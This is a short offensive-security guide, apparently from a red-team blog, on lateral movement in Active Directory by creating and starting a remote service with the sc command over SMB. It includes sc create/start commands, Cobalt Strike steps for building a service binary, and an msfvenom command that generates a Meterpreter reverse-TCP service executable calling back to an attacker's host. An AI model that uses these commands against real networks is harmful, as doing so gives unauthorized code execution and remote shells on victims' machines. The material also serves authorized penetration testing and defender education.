> For the complete documentation index, see [llms.txt](https://blog.hacktive.bebzounette.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.hacktive.bebzounette.com/active-directory/lateral-movement/code-execution/service-control-sc.md).

# Service Control (SC)

{% hint style="warning" %}
Administrator rights on the target machine are mandatory.
{% endhint %}

The Service Controller (sc) proves particularly valuable for attackers, enabling task scheduling via SMB.

```powershell
sc \\host.domain create ExampleService binpath= “c:\windows\system32\calc.exe”
sc \\host.domain start ExampleService
```

The caveat here is that the executable must specifically be a service binary. Service binaries differ in that they need to "register" with the Service Control Manager (SCM), and if not, they terminate execution. Hence, if a non-service binary is used for this purpose, it will come back as a brief agent/beacon for a moment and then terminate.

Directly creating an executable that runs as a service is possible:

[**CobaltStrike** ](https://www.cobaltstrike.com)**:** 

In Cobalt Strike, navigate to Attacks > Packages > Windows Executable (S), and select the Service Binary output type.

![Executable Windows en tant que service dans CobaltStrike ](/files/FdTk7swlgqfskNSj6jCZ)

[**Metasploit :** ](https://www.metasploit.com)

Using msfvenom, specify the exe-service format:

```bash
msfvenom -p windows/meterpreter/reverse_tcp -f exe-service LHOST=<IP> LPORT=<PORT> -o service.exe
```